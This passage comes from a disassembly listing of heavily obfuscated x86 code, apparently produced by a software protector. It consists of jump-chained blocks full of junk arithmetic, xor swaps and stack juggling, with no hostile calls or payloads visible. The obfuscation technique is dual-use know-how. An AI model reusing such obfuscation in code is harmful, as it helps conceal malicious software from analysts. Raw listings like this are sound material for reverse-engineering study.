XREF: sub_57DD3A+21E6Ej pop ebx mov [edi+eax*4], dl mov edx, [esp+24h+var_26+2] add esp, 4 mov ecx, [esp+20h+var_22+2] push edx mov edx, esp push esi mov esi, 51AB2B09h inc esi jmp loc_58E370 ; --------------------------------------------------------------------------- loc_59A6D9: ; CODE XREF: sub_57DD3A+18942j add ebx, eax push ecx mov ecx, 68096699h inc ecx jmp loc_5A1E9E ; --------------------------------------------------------------------------- loc_59A6E7: ; CODE XREF: sub_57DD3A+181E3j add esp, 4 push esi jmp loc_5A2BD0 ; --------------------------------------------------------------------------- loc_59A6F0: ; CODE XREF: sub_57DD3A+110B5j push [esp+22h+var_22] mov ebx, [esp+26h+var_26] push ebp mov ebp, esp jmp loc_5A0103 ; --------------------------------------------------------------------------- loc_59A6FE: ; CODE XREF: sub_57DD3A+21537j jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59A703: ; CODE XREF: sub_57DD3A+165C5j not ebp jmp loc_59F113 ; --------------------------------------------------------------------------- loc_59A70A: ; CODE XREF: sub_57DD3A+1EA9Aj xor al, bl push 1211h mov [esp+26h+var_26], edx mov dh, 0CAh inc dh push ax mov al, dh not al mov dh, al pop ax sub dh, 0DFh add dh, 18h jmp loc_5A21BC ; --------------------------------------------------------------------------- loc_59A72D: ; CODE XREF: sub_57DD3A+1AA15j shr ebp, 6 sub ebp, 3FFFA7Bh sub ebx, 4D0B5159h add ebx, 48D2F42h add ebx, ebp sub ebx, 48D2F42h add ebx, 4D0B5159h jmp loc_59AAF2 ; --------------------------------------------------------------------------- loc_59A755: ; CODE XREF: sub_57DD3A+13F6Cj add eax, 22253469h add eax, 53677D88h jmp loc_59235D ; --------------------------------------------------------------------------- loc_59A764: ; CODE XREF: sub_57DD3A+13515j mov edi, [esp+52h+var_54+2] add esp, 4 jmp loc_58EA6D ; --------------------------------------------------------------------------- loc_59A76F: ; CODE XREF: sub_57DD3A+2511Ej xchg ebp, [esp+4Eh+var_50+2] pop esp jmp loc_59BC2D ; --------------------------------------------------------------------------- loc_59A778: ; CODE XREF: sub_57DD3A+1D042j xor ecx, 0A4400B8h add edx, ecx pop ecx xchg edx, [esp+46h+var_46] jmp loc_59F1FE ; --------------------------------------------------------------------------- loc_59A789: ; CODE XREF: sub_57DD3A+1BEE1j sub eax, 41F83731h jmp loc_5916B3 ; --------------------------------------------------------------------------- loc_59A793: ; CODE XREF: sub_57DD3A+2539Ej xor eax, [esp+4+var_4] xor [esp+4+var_4], eax xor eax, [esp+4+var_4] jmp loc_593A6E ; --------------------------------------------------------------------------- loc_59A7A1: ; CODE XREF: sub_57DD3A+1DF05j sub dword ptr [esp+4], 3DF847E4h push [esp+4+var_4] pop eax jmp loc_5920E8 ; --------------------------------------------------------------------------- push [esp+4+var_4] pop eax push edi mov edi, esp add edi, 4 sub edi, 4 xor edi, [esp+8+var_8] xor [esp+8+var_8], edi xor edi, [esp+8+var_8] jmp loc_59E1D5 ; --------------------------------------------------------------------------- loc_59A7D0: ; CODE XREF: sub_57DD3A+1F341j pop esp sub esp, 4 mov [esp+8+var_8], edi push 3CCDh mov [esp+0Ch+var_E+2], ebx jmp loc_5999D0 ; --------------------------------------------------------------------------- loc_59A7E7: ; CODE XREF: sub_57DD3A+23084j sub esi, ecx pop ecx push ebp mov ebp, 713531E5h shl ebp, 6 jmp loc_594019 ; --------------------------------------------------------------------------- loc_59A7F8: ; CODE XREF: sub_57DD3A+22667j add esp, 4 xor eax, 4F335291h sub esi, 5EB22F03h add esi, eax push edx mov edx, 5EB22F03h add esi, edx pop edx pop eax push esi push [esp+8+var_4] pop esi pop [esp+8+var_8] pop esp push 7957h mov [esp+4+var_4], ecx mov ecx, 53053A75h push edi jmp loc_5933CA ; --------------------------------------------------------------------------- loc_59A832: ; CODE XREF: sub_57DD3A+25179j add ebx, edx pop edx add ebx, 2 xor ebx, [esp+4+var_4] xor [esp+4+var_4], ebx xor ebx, [esp+4+var_4] mov esp, [esp+4+var_4] mov cx, word ptr [esp+4+var_4] sub esp, 4 jmp loc_5962D2 ; --------------------------------------------------------------------------- loc_59A856: ; CODE XREF: sub_57DD3A+1BEDAj add ecx, 4 xchg ecx, [esp+12h+var_12] pop esp push eax mov al, 0B2h or al, 6Dh jmp loc_590AE8 ; --------------------------------------------------------------------------- loc_59A86A: ; CODE XREF: sub_57DD3A+12300j push edi mov edi, 65133A83h sub edi, 0FFFFFFFFh and edi, 2FF729D6h jmp loc_599D06 ; --------------------------------------------------------------------------- loc_59A87E: ; CODE XREF: sub_57DD3A+21F45j pop esp mov [esp+18h+var_1A+2], edx sub esp, 4 mov [esp+1Ch+var_1E+2], eax mov al, 93h inc al shl al, 2 neg al inc al add al, 0D8h jmp loc_58FA47 ; --------------------------------------------------------------------------- loc_59A89D: ; CODE XREF: sub_57DD3A+19E24j push ax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59A8A5: ; CODE XREF: sub_57DD3A+1AC5Bj xor ecx, 41AA0F7Dh push edx mov edx, 0CA71D640h xor ecx, edx pop edx add eax, 2D367B4Eh sub eax, ecx sub eax, 2D367B4Eh pop ecx push [esp+32h+var_32] pop esi jmp loc_59DF50 ; --------------------------------------------------------------------------- loc_59A8CA: ; CODE XREF: sub_57DD3A+12E39j neg edx jmp loc_5998EB ; --------------------------------------------------------------------------- loc_59A8D1: ; CODE XREF: sub_57DD3A+116DDj add edi, ecx sub edi, 132002E2h jmp loc_58FF33 ; --------------------------------------------------------------------------- loc_59A8DE: ; CODE XREF: sub_57DD3A+16D98j push ebx jmp loc_597164 ; --------------------------------------------------------------------------- loc_59A8E4: ; CODE XREF: sub_57DD3A+1D476j add edx, ebp sub edx, 29F077F6h jmp loc_59F2A0 ; --------------------------------------------------------------------------- loc_59A8F1: ; CODE XREF: sub_57DD3A+1A5A5j add [esp+1Eh+var_1A], ebp pop ebp mov esi, [esp+1Ah+var_1A] add esp, 4 sub esp, 4 mov [esp+1Ah+var_1A], ebp push ebx push edx mov edx, 3F502C6h jmp loc_58F12A ; --------------------------------------------------------------------------- loc_59A911: ; CODE XREF: sub_57DD3A+110A5j pop esp jmp loc_5A2E49 ; --------------------------------------------------------------------------- push [esp+1Ah+var_1A] push [esp+1Eh+var_1E] pop edx jmp loc_594DDF ; --------------------------------------------------------------------------- loc_59A923: ; CODE XREF: sub_57DD3A+20929j mov eax, [esp+1Eh+var_1E] add esp, 4 jmp loc_59BEDA ; --------------------------------------------------------------------------- loc_59A931: ; CODE XREF: sub_57DD3A+1246Ej xor dh, ah mov eax, [esp+42h+var_42] add esp, 4 xor al, dh pop edx jmp loc_58FAD7 ; --------------------------------------------------------------------------- loc_59A944: ; CODE XREF: sub_57DD3A+249ABj pop ebp sub eax, 0FFFFFFFFh push ebp mov ebp, 41607E41h jmp loc_594592 ; --------------------------------------------------------------------------- loc_59A953: ; CODE XREF: sub_57DD3A+19C02j mov edx, esp jmp loc_59AB43 ; --------------------------------------------------------------------------- loc_59A95A: ; CODE XREF: sub_57DD3A+24CB0j xor ebx, [esp+80h+var_80] xor [esp+80h+var_80], ebx xor ebx, [esp+80h+var_80] mov esp, [esp+80h+var_80] mov [esp+80h+var_80], ebp push 1C9Fh mov [esp+84h+var_84], ebx jmp loc_5953CE ; --------------------------------------------------------------------------- loc_59A976: ; CODE XREF: sub_57DD3A+1C188j pop ebp add ebp, eax mov eax, [esp+20h+var_22+2] add esp, 4 mov edx, ebp pop ebp loc_59A982: ; CODE XREF: sub_57DD3A+1D50Fj ; sub_57DD3A+20DF3j push dword ptr [edi+24h] push [esp+1Ch+var_1E+2] push [esp+20h+var_22+2] jmp loc_59287B ; --------------------------------------------------------------------------- loc_59A990: ; CODE XREF: sub_57DD3A+19A2Dj pop edx movzx eax, al pop dword ptr [edi+eax*4] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59A99C: ; CODE XREF: sub_57DD3A+14080j shr ah, 7 xor ah, 6Eh jmp loc_592816 ; --------------------------------------------------------------------------- loc_59A9A7: ; CODE XREF: sub_57DD3A+22A75j sub ebx, eax sub ebx, 40E73D33h push ecx push edx mov edx, 15514A6Bh push esi mov esi, 49E9293Eh or edx, esi jmp loc_5945D3 ; --------------------------------------------------------------------------- loc_59A9C3: ; CODE XREF: sub_57DD3A+23202j sub ebx, 383C1B69h add ebx, 4F41220Dh add ebx, 1953271Dh add ebx, 486F476Fh mov [ebx], edx pop ebx mov eax, [esp+1Eh+var_1E] add esp, 4 jmp loc_598AFF ; --------------------------------------------------------------------------- loc_59A9EC: ; CODE XREF: sub_57DD3A+253ABj push esp pop edx jmp loc_58FDB9 ; --------------------------------------------------------------------------- loc_59A9F3: ; CODE XREF: sub_57DD3A+24D2Cj jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59A9F8: ; CODE XREF: sub_57DD3A+10AD7j xor esi, [esp+18h+var_1A+2] pop esp jmp loc_59DFCF ; --------------------------------------------------------------------------- loc_59AA01: ; CODE XREF: sub_57DD3A+13A5Cj mov edi, 4 add edx, 46E7575Bh add edx, 0B450D70h add edx, edi sub edx, 0B450D70h sub edx, 46E7575Bh pop edi push 6E78h mov [esp+5Ch+var_5C], ecx push 6D9Ch mov [esp+60h+var_60], ebx mov ebx, 64F348B9h inc ebx or ebx, 4A08473Fh add ebx, 0C6E7E890h mov ecx, ebx pop ebx neg ecx shl ecx, 5 push esi jmp loc_591432 ; --------------------------------------------------------------------------- loc_59AA51: ; CODE XREF: sub_57DD3A+1545Aj mov [esp+8+var_8], esi jmp loc_5A123B ; --------------------------------------------------------------------------- loc_59AA59: ; CODE XREF: sub_57DD3A+1ECD4j sub eax, 0CCFF630h mov edx, eax jmp loc_598968 ; --------------------------------------------------------------------------- loc_59AA65: ; CODE XREF: sub_57DD3A+2344Bj mov edi, [esp+8+var_8] jmp loc_594E7C ; --------------------------------------------------------------------------- loc_59AA6D: ; CODE XREF: sub_57DD3A+12886j pop ecx add esp, 4 push ebx jmp loc_5A2066 ; --------------------------------------------------------------------------- loc_59AA77: ; CODE XREF: sub_57DD3A+14699j pop ecx jmp loc_5983AA ; --------------------------------------------------------------------------- loc_59AA7D: ; CODE XREF: sub_57DD3A+14C6Cj mov bx, word ptr [esp+1Ah+var_1A] add esp, 2 push 3469h mov [esp+1Ah+var_1A], edx mov dx, 7998h push dx not word ptr [esp+1Ch+var_1E+2] jmp loc_58F10F ; --------------------------------------------------------------------------- loc_59AA9E: ; CODE XREF: sub_57DD3A+1C0B5j pop esi add edi, ecx add edi, 41F14F36h pop ecx add edi, 4 jmp loc_5A00D7 ; --------------------------------------------------------------------------- loc_59AAB0: ; CODE XREF: sub_57DD3A+1816Fj mov edx, 66E357B8h shl edx, 8 jmp loc_597D9D ; --------------------------------------------------------------------------- loc_59AABD: ; CODE XREF: sub_57DD3A+11A40j pop eax shl edx, 2 sub edx, 0FBAE1AFh add eax, edx pop edx jmp loc_5A1743 ; --------------------------------------------------------------------------- loc_59AACF: ; CODE XREF: sub_57DD3A+1A2C6j dec [esp+70h+var_70] pop edx push ebp push 0DF01F21h pop ebp jmp loc_58E9B3 ; --------------------------------------------------------------------------- loc_59AADF: ; CODE XREF: sub_57DD3A+12320j sub ebx, eax jmp loc_59AFA0 ; --------------------------------------------------------------------------- loc_59AAE6: ; CODE XREF: sub_57DD3A+1C157j mov esi, 4 add edi, esi jmp loc_59A117 ; --------------------------------------------------------------------------- loc_59AAF2: ; CODE XREF: sub_57DD3A+1CA16j mov ebp, [esp+58h+var_58] jmp loc_59C228 ; --------------------------------------------------------------------------- loc_59AAFA: ; CODE XREF: sub_57DD3A+16C92j mov [esp+40h+var_42+2], ebx mov ebx, 21FA2330h mov esi, 1720F4EFh jmp loc_5901AD ; --------------------------------------------------------------------------- loc_59AB0C: ; CODE XREF: sub_57DD3A+225C8j pop ebx shl ecx, 6 xor ecx, eax xor eax, ecx xor ecx, eax xor eax, ecx xor ecx, eax jmp loc_5A2FF7 ; --------------------------------------------------------------------------- loc_59AB1F: ; CODE XREF: sub_57DD3A+1E13Fj mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5A06AE ; --------------------------------------------------------------------------- loc_59AB32: ; CODE XREF: sub_57DD3A+21209j add ebx, 4 push ebx push [esp+40h+var_3E+2] push [esp+44h+var_46+2] pop ebx jmp loc_5A2BE2 ; --------------------------------------------------------------------------- loc_59AB43: ; CODE XREF: sub_57DD3A+1CC1Bj add edx, 4 sub edx, 4 jmp loc_59FD97 ; --------------------------------------------------------------------------- loc_59AB51: ; CODE XREF: sub_57DD3A+1EEEAj mov [esp+80h+var_80], edi push [esp+80h+var_80] pop eax push esi push esp pop esi jmp loc_590AFF ; --------------------------------------------------------------------------- loc_59AB60: ; CODE XREF: sub_57DD3A+19B6Fj sub edx, 6B25776Dh add edx, eax add edx, 6B25776Dh pop eax add edx, 4 xchg edx, [esp+10h+var_12+2] pop esp add ebx, 2 push 30B8h mov [esp+10h+var_12+2], ebx push [esp+10h+var_E+2] push [esp+14h+var_16+2] pop ebx add esp, 4 pop [esp+10h+var_12+2] mov esp, [esp+0Ch+var_E+2] rol byte ptr [esp+0Ch+var_E+2], cl pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59AB9B: ; CODE XREF: sub_57DD3A+13A82j add edx, 128B172Ch add edx, eax push 16AFh jmp loc_5A2F5C ; --------------------------------------------------------------------------- loc_59ABAD: ; CODE XREF: sub_57DD3A+15E3Ej push ecx mov ecx, 28F1170Eh push ebp jmp loc_59798D ; --------------------------------------------------------------------------- loc_59ABB9: ; CODE XREF: sub_57DD3A+15D2Fj xor edx, [esp+20h+var_22+2] xor [esp+20h+var_22+2], edx xor edx, [esp+20h+var_22+2] pop esp mov [esp+1Ch+var_1E+2], ecx mov ecx, 14F36A82h add ecx, 3F2BF8FDh xor edi, ecx mov ecx, [esp+1Ch+var_1E+2] jmp loc_59F6D6 ; --------------------------------------------------------------------------- loc_59ABDB: ; CODE XREF: sub_57DD3A+2163Fj xor edi, 36AF26F8h push [esp+1Ch+var_1E+2] pop edx add esp, 4 sub eax, 1C2E6EECh sub eax, edi add eax, 1C2E6EECh jmp loc_598859 ; --------------------------------------------------------------------------- loc_59ABF9: ; DATA XREF: sub_57DD3A+10352o mov ax, word ptr [esp+18h+var_1A+2] sub esp, 4 jmp loc_59D5F9 ; --------------------------------------------------------------------------- loc_59AC05: ; CODE XREF: sub_57DD3A+173AFj neg ebx push edi jmp loc_593EDF ; --------------------------------------------------------------------------- loc_59AC0D: ; CODE XREF: sub_57DD3A+18FE5j pop ebx sub esp, 4 jmp loc_599718 ; --------------------------------------------------------------------------- loc_59AC19: ; CODE XREF: sub_57DD3A+141BBj mov dh, 0E1h mov bh, 0D5h sub bh, dh pop edx jmp loc_59914C ; --------------------------------------------------------------------------- loc_59AC25: ; CODE XREF: sub_57DD3A+125E1j pop ecx jmp loc_5926FC ; --------------------------------------------------------------------------- loc_59AC2B: ; CODE XREF: sub_57DD3A+125A2j add esp, 4 jmp loc_5A0E7A ; --------------------------------------------------------------------------- loc_59AC33: ; CODE XREF: sub_57DD3A+1478Dj shr cl, 4 add cl, 55h add dh, cl jmp loc_59D6DD ; --------------------------------------------------------------------------- loc_59AC40: ; CODE XREF: sub_57DD3A+20055j mov ecx, esp add ecx, 4 jmp loc_58E393 ; --------------------------------------------------------------------------- loc_59AC4D: ; CODE XREF: sub_57DD3A+14754j and dl, 44h push ax mov al, 0C0h jmp loc_58EBAD ; --------------------------------------------------------------------------- loc_59AC59: ; CODE XREF: sub_57DD3A+226AFj sub ebx, 5CE7066Fh jmp loc_59FD3D ; --------------------------------------------------------------------------- loc_59AC64: ; CODE XREF: sub_57DD3A+1F681j shr ebx, 6 inc ebx shl ebx, 6 xor ebx, 2F6606F0h add ecx, ebx mov ebx, [esp+8+var_8] jmp loc_5A1090 ; --------------------------------------------------------------------------- loc_59AC7B: ; CODE XREF: sub_57DD3A+13088j push [esp+54h+var_54] jmp loc_598151 ; --------------------------------------------------------------------------- loc_59AC83: ; CODE XREF: sub_57DD3A+11D7Cj neg eax not eax jmp loc_59FBD7 ; --------------------------------------------------------------------------- loc_59AC8C: ; CODE XREF: sub_57DD3A+23008j pop edi add ebp, 3674652Ah add ebp, esi jmp loc_595116 ; --------------------------------------------------------------------------- push [esp+24h+var_26+2] push [esp+28h+var_2A+2] jmp loc_59F498 ; --------------------------------------------------------------------------- loc_59ACA5: ; CODE XREF: sub_57DD3A+133ADj pop esp mov edx, [esp+0Ch+var_E+2] add esp, 4 add edx, 4 push 361Ah mov [esp+0Ch+var_E+2], edi mov edi, 49226421h push ebp mov ebp, 4922641Dh sub edi, ebp pop ebp add edx, edi pop edi jmp loc_5995B6 ; --------------------------------------------------------------------------- loc_59ACD0: ; CODE XREF: sub_57DD3A+18B81j mov esp, [esp+50h+var_50] xor [esp+50h+var_50], eax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59ACDC: ; CODE XREF: sub_57DD3A+204E3j push [esp+54h+var_50] jmp loc_5984DB ; --------------------------------------------------------------------------- loc_59ACE5: ; CODE XREF: sub_57DD3A+24DE2j pop esi push [esp+54h+var_54] mov ebx, [esp+58h+var_58] add esp, 4 add esp, 4 push ecx jmp loc_59CE6B ; --------------------------------------------------------------------------- loc_59ACF8: ; CODE XREF: sub_57DD3A+1F44Aj mov ebp, esi mov esi, [esp+54h+var_54] add esp, 4 push edi push ecx mov ecx, ebp mov edi, ecx jmp loc_59DEC3 ; --------------------------------------------------------------------------- loc_59AD0E: ; CODE XREF: sub_57DD3A+1ABB5j mov dl, al jmp loc_594B05 ; --------------------------------------------------------------------------- loc_59AD15: ; CODE XREF: sub_57DD3A+18A29j and ebx, 72F2408Bh push edx mov edx, 74404B12h sub ebx, edx pop edx add ebp, ebx pop ebx add edx, ebp push [esp+3Ah+var_3A] pop ebp add esp, 4 jmp loc_598C52 ; --------------------------------------------------------------------------- loc_59AD35: ; CODE XREF: sub_57DD3A+24A1Bj sub esp, 4 mov [esp+3Ah+var_3A], edi mov edi, 0FFFFFFFFh jmp loc_596C38 ; --------------------------------------------------------------------------- loc_59AD48: ; CODE XREF: sub_57DD3A+1DA29j pop esp pop [esp+36h+var_36] mov esp, [esp+32h+var_32] div cl jmp loc_5A04DB ; --------------------------------------------------------------------------- loc_59AD56: ; CODE XREF: sub_57DD3A+1AA5Dj pop esp add esp, 4 push 55D6h mov [esp+46h+var_46], ebp push esp jmp loc_58E816 ; --------------------------------------------------------------------------- loc_59AD6B: ; CODE XREF: sub_57DD3A+19F4Ej mov ecx, 5CC2175Dh sub ecx, 4DD367A0h and ecx, 3A5510FEh jmp loc_59A778 ; --------------------------------------------------------------------------- loc_59AD81: ; CODE XREF: sub_57DD3A+23F6Fj add ecx, 4 add ecx, 4 jmp loc_597258 ; --------------------------------------------------------------------------- loc_59AD92: ; CODE XREF: sub_57DD3A+219D2j add edx, 4 xchg edx, [esp+5Eh+var_60+2] jmp loc_58FEDF ; --------------------------------------------------------------------------- loc_59ADA0: ; CODE XREF: sub_57DD3A+1B311j add esi, ebx pop ebx xchg esi, [esp+20h+var_22+2] pop esp shr edi, 6 push ebp mov ebp, 315E09CFh or edi, ebp jmp loc_59520F ; --------------------------------------------------------------------------- loc_59ADB7: ; CODE XREF: sub_57DD3A+1C3C9j mov eax, [esp-14h+arg_E+2] add esp, 4 sub ebx, eax push edi jmp loc_594234 ; --------------------------------------------------------------------------- loc_59ADC5: ; CODE XREF: sub_57DD3A+14E24j pop ecx jmp loc_59D8AA ; --------------------------------------------------------------------------- loc_59ADCB: ; CODE XREF: sub_57DD3A+14F9Aj add edi, 0C86546Ah pop eax add edi, 69C46145h sub edi, ebx sub edi, 69C46145h jmp loc_59F464 ; --------------------------------------------------------------------------- loc_59ADE5: ; CODE XREF: sub_57DD3A+19B79j add ebp, 10B579BBh sub ebp, 0ECC52232h jmp loc_598A94 ; --------------------------------------------------------------------------- loc_59ADF6: ; CODE XREF: sub_57DD3A+12116j xchg edx, [esp+80h+var_80] pop esp push 46C0h mov [esp+80h+var_80], ebp mov ebp, 596B1645h xor ebp, 596B1641h add edx, ebp pop ebp push 0DEAh mov [esp+80h+var_80], eax mov eax, 34F26719h shl eax, 8 push 0EACh mov [esp+84h+var_84], edx jmp loc_591247 ; --------------------------------------------------------------------------- loc_59AE2D: ; CODE XREF: sub_57DD3A+24401j xor edi, ebx pop ebx push 383Bh jmp loc_595BE9 ; --------------------------------------------------------------------------- loc_59AE3A: ; CODE XREF: sub_57DD3A+143EBj add eax, 76FF0F83h add ebx, eax pop eax xchg ebx, [esp+1Ah+var_1A] mov esp, [esp+1Ah+var_1A] jmp loc_594FAB ; --------------------------------------------------------------------------- loc_59AE4D: ; CODE XREF: sub_57DD3A+11262j mov eax, 149E1FECh inc eax xchg eax, esi jmp loc_59A28C ; --------------------------------------------------------------------------- loc_59AE59: ; CODE XREF: sub_57DD3A+1409Aj mov esp, [esp+16h+var_16] xor ebx, eax push 5C52h mov [esp+1Ah+var_1A], eax mov eax, 121B5DEAh add edx, eax pop eax jmp loc_59081B ; --------------------------------------------------------------------------- loc_59AE73: ; CODE XREF: sub_57DD3A+14E51j or ebx, ebp pop ebp jmp loc_596536 ; --------------------------------------------------------------------------- loc_59AE7B: ; CODE XREF: sub_57DD3A+13273j sub eax, ebx add eax, 4C7C2BD3h push ebp jmp loc_59CA37 ; --------------------------------------------------------------------------- loc_59AE88: ; CODE XREF: sub_57DD3A+19E4Ej add esp, 4 add eax, ecx pop ecx add eax, 12EC66D9h sub esp, 4 mov [esp+54h+var_54], ecx mov ecx, 5C64623Fh xor ecx, 5D866B39h add eax, ecx pop ecx pop ecx push 502Eh mov [esp+50h+var_50], esi mov esi, 247C30EDh sub esp, 4 mov [esp+54h+var_54], edi jmp loc_59E9B5 ; --------------------------------------------------------------------------- loc_59AEC0: ; CODE XREF: sub_57DD3A+19EDAj sub eax, 437FFFFBh push 3E01h mov [esp+46h+var_46], esi mov esi, 6A0B36A1h sub ecx, esi mov esi, [esp+46h+var_46] add esp, 4 jmp loc_595F11 ; --------------------------------------------------------------------------- loc_59AEDF: ; CODE XREF: sub_57DD3A+223F4j xor edx, 56B0E37h mov eax, edx pop edx add eax, 2812055Dh sub eax, 5AE0F84Bh jmp loc_593541 ; --------------------------------------------------------------------------- loc_59AEF7: ; CODE XREF: sub_57DD3A+11C79j sub ecx, ebx jmp loc_59A697 ; --------------------------------------------------------------------------- loc_59AEFE: ; CODE XREF: sub_57DD3A+1B305j xor ch, al pop eax add al, ch pop ecx push edx mov dl, 0C6h add dl, 26h or dl, 0E8h xor dl, 1Eh add al, dl pop edx jmp loc_590400 ; --------------------------------------------------------------------------- loc_59AF18: ; CODE XREF: sub_57DD3A+134C8j push esp pop eax jmp loc_590EC4 ; --------------------------------------------------------------------------- loc_59AF1F: ; CODE XREF: sub_57DD3A+1F7ACj mov [esp+4Ch+var_4C], ebx mov ebx, 3D1A35E1h mov edx, 3D1A35E5h push ebp mov ebp, 310A64D2h add edx, ebp pop ebp sub edx, ebx push eax mov eax, 310A64D2h sub edx, 67842B08h sub edx, eax add edx, 67842B08h pop eax mov ebx, [esp+4Ch+var_4C] add esp, 4 add ecx, 2F6665Fh add ecx, edx sub ecx, 2F6665Fh mov edx, [esp+0] jmp loc_597830 ; --------------------------------------------------------------------------- loc_59AF68: ; CODE XREF: sub_57DD3A+1AE2Ej add esi, 4 sub esp, 4 mov [esp+42h+var_42], ecx jmp loc_59198F ; --------------------------------------------------------------------------- loc_59AF7C: ; CODE XREF: sub_57DD3A+20F21j mov [esp+42h+var_42], edx jmp loc_59A335 ; --------------------------------------------------------------------------- loc_59AF84: ; CODE XREF: sub_57DD3A+20510j add edi, ecx jmp loc_5928F7 ; --------------------------------------------------------------------------- loc_59AF8B: ; CODE XREF: sub_57DD3A+21B7Aj mov eax, 39B50B73h jmp loc_5919ED ; --------------------------------------------------------------------------- loc_59AF95: ; CODE XREF: sub_57DD3A+1EFB8j sub edi, 239AD4B4h jmp loc_59DD8B ; --------------------------------------------------------------------------- loc_59AFA0: ; CODE XREF: sub_57DD3A+1CDA7j pop eax not ebx and ebx, 41D14B0Fh sub ebx, 7099780Dh add ebx, 4A7C94D7h mov ecx, ebx mov ebx, [esp+18h+var_1A+2] add esp, 4 sub ecx, 0D9F2B9Ch xor ecx, 0D9B0254Dh add edx, ecx jmp loc_58F426 ; --------------------------------------------------------------------------- loc_59AFD3: ; CODE XREF: sub_57DD3A+244D9j pop eax jmp loc_596F4E ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc word ptr [esp+0Eh+var_E], ax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59AFE9: ; CODE XREF: sub_57DD3A+1E56Dj sub esi, 2CFA6C38h jmp loc_59BEE7 ; --------------------------------------------------------------------------- loc_59AFF4: ; CODE XREF: sub_57DD3A+1F5E4j sub ebp, eax pop eax jmp loc_59B86E ; --------------------------------------------------------------------------- loc_59AFFC: ; CODE XREF: sub_57DD3A+16A55j pop ecx add ecx, 76FE5D2Ch pop edx shl ecx, 8 sub ecx, 6F1F4C33h shr ecx, 1 shr ecx, 7 xor ecx, 6C3CADh mov edx, ecx pop ecx sub ebx, 65274136h jmp loc_59F568 ; --------------------------------------------------------------------------- loc_59B026: ; DATA XREF: sub_57DD3A+10342o push dword ptr [edi+3Ch] xor [esp+54h+var_54], 31073719h push [esp+54h+var_54] jmp loc_59C570 ; --------------------------------------------------------------------------- loc_59B038: ; CODE XREF: sub_57DD3A+1C611j add esp, 4 jmp loc_5A1A83 ; --------------------------------------------------------------------------- loc_59B040: ; CODE XREF: sub_57DD3A+21A14j pop ecx push 5DC8h mov [esp+12h+var_12], ecx jmp loc_5A2253 ; --------------------------------------------------------------------------- loc_59B04E: ; CODE XREF: sub_57DD3A+1D853j push 265h mov [esp+16h+var_16], ebp mov ebp, 34D57105h and ecx, ebp jmp loc_593167 ; --------------------------------------------------------------------------- loc_59B062: ; CODE XREF: sub_57DD3A+1B092j mov [esp+78h+var_78], esi mov edx, [esp+78h+var_78] add esp, 4 jmp loc_59BBA8 ; --------------------------------------------------------------------------- lodsd push ebx sub esp, 4 mov [esp+7Ch+var_7C], edx mov edx, 340375DEh jmp loc_591702 ; --------------------------------------------------------------------------- loc_59B082: ; CODE XREF: sub_57DD3A+16F95j push esi jmp loc_590BC1 ; --------------------------------------------------------------------------- loc_59B088: ; CODE XREF: sub_57DD3A+13482j add esp, 4 add [esp+16h+var_12], edi pop edi pop edx push ecx mov ecx, 78475AECh not ecx inc ecx shl ecx, 2 jmp loc_592C87 ; --------------------------------------------------------------------------- loc_59B0A2: ; CODE XREF: sub_57DD3A+11BF9j pop eax jmp loc_592B2F ; --------------------------------------------------------------------------- loc_59B0A8: ; CODE XREF: sub_57DD3A+172F8j sub ecx, edx sub ecx, 59710694h mov edx, ecx pop ecx sub edx, 0FA2CE024h push esi jmp loc_596F1D ; --------------------------------------------------------------------------- loc_59B0BF: ; CODE XREF: sub_57DD3A+14430j push ebp jmp loc_5945C9 ; --------------------------------------------------------------------------- loc_59B0C5: ; CODE XREF: sub_57DD3A+12D2Ej push esi mov esi, 4093759Bh jmp loc_5A1367 ; --------------------------------------------------------------------------- loc_59B0D0: ; CODE XREF: sub_57DD3A+17382j pop bp add di, si jmp loc_59FACB ; --------------------------------------------------------------------------- loc_59B0DA: ; CODE XREF: sub_57DD3A+208FAj push 5C24h jmp loc_590DEB ; --------------------------------------------------------------------------- loc_59B0E4: ; CODE XREF: sub_57DD3A+14ED1j pop [esp+1Eh+var_1E] jmp loc_5992D2 ; --------------------------------------------------------------------------- loc_59B0EC: ; CODE XREF: sub_57DD3A+214BFj pop esi push 19A7h jmp loc_597D67 ; --------------------------------------------------------------------------- loc_59B0F7: ; CODE XREF: sub_57DD3A+1B12Ej mov [esp+0Eh+var_E], edx jmp loc_58E3DB ; --------------------------------------------------------------------------- loc_59B0FF: ; CODE XREF: sub_57DD3A+227F3j pop ecx mov ch, al jmp loc_59F6DC ; --------------------------------------------------------------------------- loc_59B107: ; CODE XREF: sub_57DD3A+19BA2j not edi sub edi, 6AC0ED01h jmp loc_597ED0 ; --------------------------------------------------------------------------- loc_59B114: ; CODE XREF: sub_57DD3A+1FA80j mov edx, esp jmp loc_59D4BE ; --------------------------------------------------------------------------- loc_59B11B: ; CODE XREF: sub_57DD3A+254A1j mov edi, eax jmp loc_59CC1F ; --------------------------------------------------------------------------- loc_59B122: ; CODE XREF: sub_57DD3A+20A36j xchg esi, [esp+4Eh+var_50+2] pop esp mov edx, [esp+4Ah+var_4C+2] jmp loc_5A0CC7 ; --------------------------------------------------------------------------- loc_59B12E: ; CODE XREF: sub_57DD3A+2245Fj mov esi, 7DB20F09h jmp loc_595BA3 ; --------------------------------------------------------------------------- loc_59B138: ; CODE XREF: sub_57DD3A+1D85Fj pop ebx mov bl, al push [esp+46h+var_46] pop eax jmp loc_599AC3 ; --------------------------------------------------------------------------- loc_59B144: ; CODE XREF: sub_57DD3A+24BF4j sub edx, 4 xor edx, [esp+46h+var_46] xor [esp+46h+var_46], edx jmp loc_59A1E4 ; --------------------------------------------------------------------------- loc_59B152: ; CODE XREF: sub_57DD3A+132E2j push ecx mov ecx, 25554986h inc ecx neg ecx sub ecx, 0B4EC7184h mov edx, ecx pop ecx jmp loc_5A036F ; --------------------------------------------------------------------------- loc_59B169: ; CODE XREF: sub_57DD3A+227CFj pop edx jmp loc_592465 ; --------------------------------------------------------------------------- loc_59B16F: ; CODE XREF: sub_57DD3A+19923j mov ebp, esp add ebp, 4 push eax jmp loc_592F06 ; --------------------------------------------------------------------------- loc_59B17D: ; CODE XREF: sub_57DD3A+1AB1Aj add ebx, 4 sub 